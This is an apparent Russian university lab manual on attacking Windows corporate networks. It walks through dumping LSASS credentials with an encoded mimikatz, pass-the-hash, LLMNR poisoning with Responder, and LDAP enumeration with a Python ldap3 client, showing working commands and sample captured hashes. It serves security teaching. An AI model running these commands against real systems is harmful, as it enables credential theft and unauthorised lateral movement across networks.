Добавил:
Developer Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

Методичка для лабораторных

.pdf
Скачиваний:
6
Добавлен:
24.12.2023
Размер:
1.94 Mб
Скачать

Теперь у вас есть закодированная версия mimikatz, которую скачиваем на компьютер с ОС Windows. Получите доступ к серверу и скачайте файл mimikatz_encoded.exe на свою виртуальную машину Windows. Теперь извлечем хеши паролей.

Примечание В методичке представлены разные способы получения дампа. Главное: вам нужно

скачать mimikatz на машину Windows, сделать дамп хешей, получить права user Windows.

Помните о том, что для извлечения этих хешей вы должны обладать правами администратора. Чтобы убедиться в том, что ваша учетная запись на компьютере с ОС Windows имеет соответствующие привилегии, используйте сочетание клавиш Win+X, а затем нажмите клавишу A, чтобы открыть консоль PowerShell от имени администратора. Затем введите команду whoami /groups, чтобы просмотреть свои группы пользователей:

Рис. 22 – Группы пользователей Мы убедились в том, что данный пользователь обладает правами

администратора(2 строчка). Теперь перейдите в папку, содержащую файл mimikatz, и запустите его, введя команду:

PS C:\Users\Kali\mimikatz\> .\mimikatz_encoded.exe

.#####. mimikatz

.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)

##/ \ ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )

##\ / ## > https://blog.gentilkiwi.com/mimikatz

'## v ##'

Vincent LE TOUX ( vincent.letoux@gmail.com )

'#####'

> https://pingcastle.com / https://mysmartlogon.com /

mimikatz #

Привилегии отладки (debug) — это политика безопасности, позволяющая такому процессу, как mimikatz, подключить отладчик к процессу LSASS для извлечения содержимого его памяти. Выполните следующую команду, чтобы приказать mimikatz запросить привилегии отладки:

mimikatz # privilege::debug Privilege '20' OK

Если mimikatz получит соответствующие права, то вы увидите сообщение OK. Чтобы достичь наилучших результатов, запустите процесс mimikatz от имени администратора, поскольку такой процесс тоже может получить привилегии отладки. Инструмент mimikatz предусматривает несколько модулей. Например, модуль sekurlsa позволяет извлекать хеши из памяти:

mimikatz # sekurlsa::logonpasswords

...

Authentication Id : 0 ; 546750 (00000000:000857be)

Session

: Interactive from 1

User Name

: Hacker1

Domain

: DESKTOP-AB3A4NG

Logon Server : DESKTOP-AB3A4NG

Logon Time

: 2/16/2021 8:17:19 PM

SID

: S-1-5-21

msv :

[00000003] Primary

*Username : Hacker1

*Domain

*NTLM

*SHA1

:DESKTOP-AB3A4NG

:f773c5db7ddebefa4b0dae7ee8c50aea

:e68e11be8b70e435c65aef8ba9798ff7775c361e tspkg :

* Username : Hacker1

* Domain : DESKTOP-AB3A4NG * Password : trustno1!

wdigest :

* Username : Hacker1

* Domain : DESKTOP-AB3A4NG * Password : (null)

kerberos :

* Username : Hacker1

* Domain : DESKTOP-AB3A4NG * Password : (null)

ssp : credman : cloudap :

Обратите внимание на то, что инструмент mimikatz извлек хеши паролей SHA-1 и Windows NT LAN Manager. В некоторых случаях память процесса LSASS также может содержать пароли в виде открытого текста. Такие инструменты, как Credential

Guard, помогают защитить процесс LSASS от подобных атак. Однако программа mimikatz все равно может захватить учетные данные, введенные пользователем после взлома системы.

Инструмент mimikatz также включен в Metasploit Framework; однако этот фреймворк не всегда содержит самую последнюю его версию. Тем не менее вы можете создать дамп хешей паролей в системе Windows, выполнив следующую команду:

meterpreter > load mimikatz

meterpreter > mimikatz_command -f sekurlsa::logonpasswords

Теперь, когда у вас есть хеши паролей, вы можете попытаться их взломать или использовать для входа в систему других компьютеров в корпоративной сети, реализовав атаку типа pass-the-hash (передача хеша), предполагающую эксплуатацию протокола Windows NT LAN Manager.

4.4 Передача хеша по протоколу NT LAN Manager

NT LAN Manager (NTLM) — это протокол Windows, позволяющий пользователям аутентифицироваться на других компьютерах в сети, используя хеш своего пароля. На рис. 23} показано, что происходит, когда пользователь аутентифицируется в системе и пытается получить доступ к общей папке на сервере с помощью NTLM.

Рис. 23 – Обзор процесса аутентификации с использованием протокола NTLM

В ходе этого процесса происходит обмен несколькими сообщениями. Когда пользователь аутентифицируется в системе с помощью своих учетных данных, компьютер сохраняет имя пользователя и хеш пароля(1), а затем, как правило, удаляет пароль в виде открытого текста. Когда пользователь пытается получить доступ к

серверу или сетевой папке, операционная система отправляет этому серверу соответствующее имя пользователя. В ответ сервер отправляет сообщение, известное как вызов (challenge message), представляющее собой 16-байтовое nonce-число. Затем клиент шифрует это nonce-число с помощью хеша пароля пользователя и отправляет его серверу(2). Зашифрованное nonce-число обычно называется ответом на вызов

(challenge response).

Затем сервер пересылает имя пользователя, ответ и вызов контроллеру домена. Контроллер домена представляет собой сервер, отвечающий за хранение информации о пользователях и управление политикой сетевой безопасности. Получив ответ на вызов(3), контроллер домена проверяет его, сопоставляя с хешем пароля пользователя в базе данных. Затем использует этот хеш для расшифровки nonce-числа, содержащегося в ответе на вызов. Если nonce-числа совпадут, то контроллер домена отправляет серверу сообщение о том, что аутентифицировал пользователя, и тогда сервер предоставит пользователю доступ.

Обратите внимание на то, что этот протокол никогда не использует пароль пользователя в виде открытого текста. Это означает, что если злоумышленнику удастся получить хеш пароля пользователя, то ему не придется взламывать его для получения доступа к другой машине. Злоумышленник просто использует хеш, извлеченный из памяти компьютера, для шифрования ответа на запрос и прохождения аутентификации с помощью контроллера домена. Этот тип атаки называется pass-the-hash.

Чтобы выполнить такую атаку, используйте программу mimikatz для загрузки одного из хешей, извлеченных из памяти процесса LSASS:

mimikatz # sekurlsa::pth /user:<пользователь> /domain:<домен> /ntlm:<NTLM-хеш>

Вместо значений <пользователь>, <домен> и <NTLM-хеш> введите извлеченные имя пользователя, домен и NTLM-хеш пароля. Теперь вы можете выдать себя за пользователя и получить доступ к его ресурсам.

Контрольные вопросы

1.Где и как хранятся пароли в ОС Windows?

2.Что такое контроллер домена?

3.Как происходит передача хеша по протоколу NT LAN Manager?

4.Какие данные мы можем извлечь из памяти процесса LSASS?

5.Что такое привилегии отладки и для чего они нужны?

6.Как можно устранить уязвимость, эксплуатируемую в данной работе?

Лабораторная работа № 5 Исследование корпоративной сети Windows

5.1 Постановка задачи

Исследование корпоративной сети Windows;

Атака на сервис DNS;

Атака на сервисы Active Directory и LDAP;

Атака на протокол Kerberos.

5.2Исследование корпоративной сети Windows

Что может сделать злоумышленник, оказавшись внутри сети? В корпоративной сети он может узнать о подключенных к ней устройствах и связанных с ними политиках безопасности, прослушивая сетевой трафик или отправляя запросы контроллеру домена.

Крупные корпорации вынуждены управлять политиками безопасности для тысяч устройств, поэтому обычно организуют свои машины в иерархическую структуру, состоящую из организационных единиц, доменов, деревьев и лесов. Организационная единица (organizational unit, OU) — это самый низкий уровень иерархии, состоящий из групп пользователей, групп безопасности и компьютеров. Структуру OU определяет системный администратор. Так, администратор крупного банка может создать организационную единицу для каждого подразделения банка, например для филиала в Москве, филиала в Санкт-Петербурге и филиала во Екатеринбурге. Внутри каждой такой единицы администратор может создать две другие OU, одну для банкоматов, а другую — для учетных записей сотрудников. Такой метод группировки позволяет системным администраторам назначать разным единицам разные привилегии.

Совокупность организационных единиц называется доменом. Домены, которые могут быть родительскими и дочерними, группируются в деревья. Деревья, в свою очередь, группируются в лес. Между доменами в одном дереве устанавливаются доверительные отношения, что позволяет авторизованным пользователям перемещаться между ними. Например, системный администратор может изолировать машины, работающие в штаб-квартире банка, от машин, работающих в филиалах.

Таким образом, администратор может создать два отдельных домена: company. headquarters и company.

branches. Если в дальнейшем этот банк приобретет другой менее крупный банк, уже имеющий доменную инфраструктуру, то системный администратор сможет подключить ее, сделав домен приобретенного банка дочерним по отношению к родительскому домену банка company.branches.

На рис. 24 показана структура с одним лесом, двумя деревьями, тремя доменами и семью организационными единицами.

Контроллер домена управляет этими доменами и их политиками безопасности,

используя четыре ключевых сервиса: DNS, ADS (Active Directory), LDAP (Lightweight Directory Access Protocol) и Kerberos. Начнем с рассмотрения сервиса DNS.

Рис. 24 – Структура корпоративной сети с несколькими доменами

5.3 Атака на сервис DNS

Сервис DNS — ключевая часть контроллера домена. Этот сервис позволяет машинам в домене находить IP-адреса других машин в сети. Например, файловый сервер может содержать общую сетевую папку с именем (Фамилия студента) //Иванов/. Когда пользователь вводит //Иванов/ в поле своего файлового менеджера, операционная система связывается с DNS-сервером контроллера домена, чтобы выяснить IP-адрес файлового сервера. Если в DNS содержится запись для папки //Иванов/, то система предоставит соответствующий IP-адрес. Затем файловый менеджер попытается подключиться к этому серверу и получить доступ к файлам (при условии, что у него есть на это разрешение).

Однако если поиск в DNS завершился неудачей, например, из-за того, что пользователь неправильно ввел имя папки, скажем, забыл ввести последнюю букву в конце и ввел //Ивано/ вместо //Иванов/, то операционная система задействует менее безопасный протокол разрешения имен хостов в локальной сети (Link-Local Multicast Name Resolution, LLMNR) для поиска в сети машины, которая может ответить на запрос. Данный протокол широковещательный, вследствие чего ответить на запрос может любой компьютер в сети. Это позволяет злоумышленникам отправить в ответ на запрос вредоносное сообщение. Такая уязвимость называется отравлением LLMNR (LLMNR poisoning). На рис.25 показаны этапы реализации.

Рис. 25 – Как неудачный поиск в DNS может приводить к отправке небезопасных

LLMNR-запросов

Жертва генерирует DNS-запрос, который отправляется контроллеру домена(1). Сервис DNS контроллера домена сообщает жертве о том, что не может найти запрошенную запись(2), поэтому компьютер жертвы задействует протокол LLMNR. С его помощью он опрашивает другие машины на предмет наличия папки //Ивано/ (3). Злоумышленник отвечает сообщением: «Я могу помочь, но вам придется пройти аутентификацию. Отправьте мне свой NTLM-хеш»(4). Если компьютер жертвы ответит на это сообщение, то злоумышленник получит NTLM-хеш пароля пользователя.

Если LLMNR-запрос не сработает, то клиент задействует менее безопасный протокол NBT-NS (Netbios Name Service). LLMNR и NBT-NS — не единственные протоколы, уязвимые для этого типа проникновений. Предположим, что злоумышленник выполняет ARP-спуфинг, выдавая свой компьютер за DNS-сервер. В этом случае он может захватить NTLM-хеш, содержащийся в правильных DNS-запросах.

Использовать уязвимости такого типа можно с помощью инструмента Responder. Он позволяет отправлять вредоносные ответы на запросы, генерируемые при использовании различных сетевых протоколов, и перехватывать хеши. Вы можете получить копию инструмента Responder, клонировав соответствующий репозиторий GitHub на свою виртуальную машину Kali Linux:

kali@kali:~$ git clone https://github.com/lgandx/Responder

Запустите Responder на своей виртуальной машине Kali Linux. Затем введите вымышленное имя папки, например, //Иванов/, на виртуальной машине Windows:

kali@kali:~/Responder$ sudo python3 Responder.py -I eth0 -v

...

[+] Poisoners:

LLMNR [ON] NBT-NS [ON] DNS/MDNS [ON]

...

[+] Listening for events...

[HTTP] Sending NTLM authentication request to 10.0.1.26 [HTTP] GET request from: 10.0.1.26 URL: /

[HTTP] Host : patientrecord [HTTP] NTLMv2 Client : 10.0.1.26

[HTTP] NTLMv2 Username : DESKTOP-AB3A4NG\Hacker1

[HTTP] NTLMv2 Hash : Hacker1::DESKTOP-AB3A4NG:XXXXXXXXXX........... (1)

Параметр -I обозначает интерфейсы, которые этот инструмент будет прослушивать и использовать для отправки ответов, а -v обеспечивает генерацию подробного вывода. Мы видим NTLMv2-хеш, который был захвачен(1). Теперь вы можете взломать этот хеш с помощью приемов, описанных в прошлой лабораторной работе.

5.4 Атака на сервисы Active Directory и LDAP

Вторым сервисом, запущенным на контроллере домена, является Active Directory, который представляет собой базу данных, содержащую все объекты домена, включая пользователей, политики безопасности и общие машины, такие как принтеры и настольные компьютеры.

Объекты типа «пользователь» содержат такие данные, как имена пользователей

ихеши паролей. Объекты типа «группа безопасности» содержат информацию о предоставленных группе привилегиях, а также атрибут членства, в котором перечислены пользователи, связанные с соответствующей группой безопасности. Хранение всей информации о пользователях в одном репозитории позволяет предоставлять пользователям доступ к нескольким машинам, не прибегая к хранению их учетных данных на этих устройствах. Это очень удобно в случае библиотек, банков

икорпоративных офисов, сотрудники которых часто используют общие машины и принтеры.

Собственный сервис каталогов предусмотрен не только в ОС Windows, но и в других операционных системах. Такие сервисы, как 389 Directory Server и Apple Open Directory, используют собственные протоколы и запросы. Однако требовать от операционных систем реализации всех протоколов доступа к каталогам невозможно. Поэтому они часто реализуют стандартный протокол LDAP (Lightweight Directory Access Protocol, облегченный протокол доступа к каталогам), который устройства могут использовать для взаимодействия с большинством сервисов каталогов. Сервис LDAP преобразует LDAP-запросы в формат, поддерживаемый серверным сервисом каталога. Это означает, что клиенты должны поддерживать только протокол LDAP, поскольку сервис LDAP абстрагирует работу сервиса каталогов на стороне сервера.

Протокол LDAP представляет данные в виде информационного дерева каталога

(directory information tree, DIT). На рис. 26 показано DIT для гипотетического домена bank.com.

Рис. 26 – Информационное дерево каталога

Корень структуры DIT — домен. Значение dc=bank, dc=com — это уникальное имя, которое однозначно идентифицирует компонент дерева. (В данном случае dc обозначает не контроллер домена, а скорее компонент домена. Это может немного сбивать с толку, однако данная нотация стандартна.) Домен bank.com состоит из двух компонентов: bank и com. Под доменом расположены две OU, одна из которых представляет машины, а другая — пользователей. Уникальным именем человека с идентификатором пользователя Monique является dc=bank, dc=com, ou=Staff, ou=Manager, uid=Monique. Таким образом, уникальное имя не только однозначно идентифицирует компонент, но и определяет путь до объекта в дереве.

Создание клиента для генерации LDAP-запросов

Протокол LDAP может оказаться полезным инструментом для получения доступа к контроллеру домена. Если мы получим доступ к контроллеру домена, который хранит учетные данные всех пользователей, а также может создавать их учетные записи, то обретем контроль над сетью. Захватив контроллер домена, мы сможем создать собственную учетную запись администратора и войти в систему любого из компьютеров по своему выбору.

Однако учетные данные, извлеченные из памяти того или иного компьютера в сети, могут не позволить нам получить доступ к контроллеру домена. Поэтому нам придется переходить от одной машины к другой, извлекая логины и пароли привилегированных учетных записей вплоть до обнаружения тех, которые позволят нам достичь своей цели. Чтобы делать это эффективно, вам необходимо понимать структуру компрометируемой сети.

Злоумышленники могут исследовать структуру корпоративной сети путем отправки запросов на LDAP-сервер контроллера домена. Среди прочего таким способом злоумышленник может выяснить, сколько машин подключено к сети, сколько

в ней пользователей и какие из пользователей входят в группу администраторов. Отправляя подобные запросы, злоумышленник может сопоставить карту сети и найти путь к контроллеру домена. Этот процесс называется перечислением (enumeration).

Чтобы конкретизировать вышеописанные идеи, напишем программу на языке Python, которая будет отправлять запросы на LDAP-сервер. Этот LDAP-клиент, который мы назовем info\_probe.py, будет извлекать список всех пользователей в сети. Для создания нашего клиента мы используем библиотеку Python ldap3, поэтому установите ее с помощью команды pip3:

kali@kali:~$ pip3 install ldap3

Мы будем подключаться к сервису LDAP путем так называемой привязки. LDAP поддерживает привязки трех типов: анонимные привязки, привязки пароля и

SASL-привязки (Simple Authentication and Security Layer, простой уровень аутентификации и безопасности). Анонимная привязка не требует прохождения процедуры аутентификации, поэтому мы начнем с выполнения анонимной привязки, а затем изменим нашу программу, чтобы выполнить привязку пароля, которая позволит нам аутентифицироваться с использованием учетных данных.

Чтобы не настраивать собственный LDAP-сервер, мы будем взаимодействовать с общедоступным демонстрационным сервером ipa.demo1.freeipa.org, доступным по адресу https://www.freeipa.org/page/Demo . Вместо этого вы можете скачать виртуальную машину FreeIPA и добавить ее в свою среду. Виртуальная машина FreeIPA

— это Linux-эквивалент контроллера домена Windows, и мы будем использовать ее в качестве контроллера домена в нашей среде. Демо-сервер проще настроить, однако при его использовании ваше DIT может измениться во время тестирования, поскольку другие люди тоже имеют доступ к этому серверу.

from ldap3 import Server, Connection, ALL

server = Server(host = 'ipa.demo1.freeipa.org', get_info=ALL) Connection(server).bind() print(server.info)

Сначала мы создаем объект server и указываем информацию о сервере, к которому хотим подключиться. Мы задаем ALL в качестве значения параметра get_info, чтобы после подключения прочитать как можно больше информации о сервере. Затем создаем объект connection и вызываем метод bind. Данное подключение к LDAP-серверу использует анонимную привязку. В случае успешной привязки мы выводим на экран информацию о сервере.

Запустите info_probe.py, чтобы попытаться подключиться к серверу:

kali@kali:~$ python3 info_probe.py DSA info (from DSE):

Supported LDAP versions: 2, 3 Naming contexts: cn=changelog dc=demo1,dc=freeipa,dc=org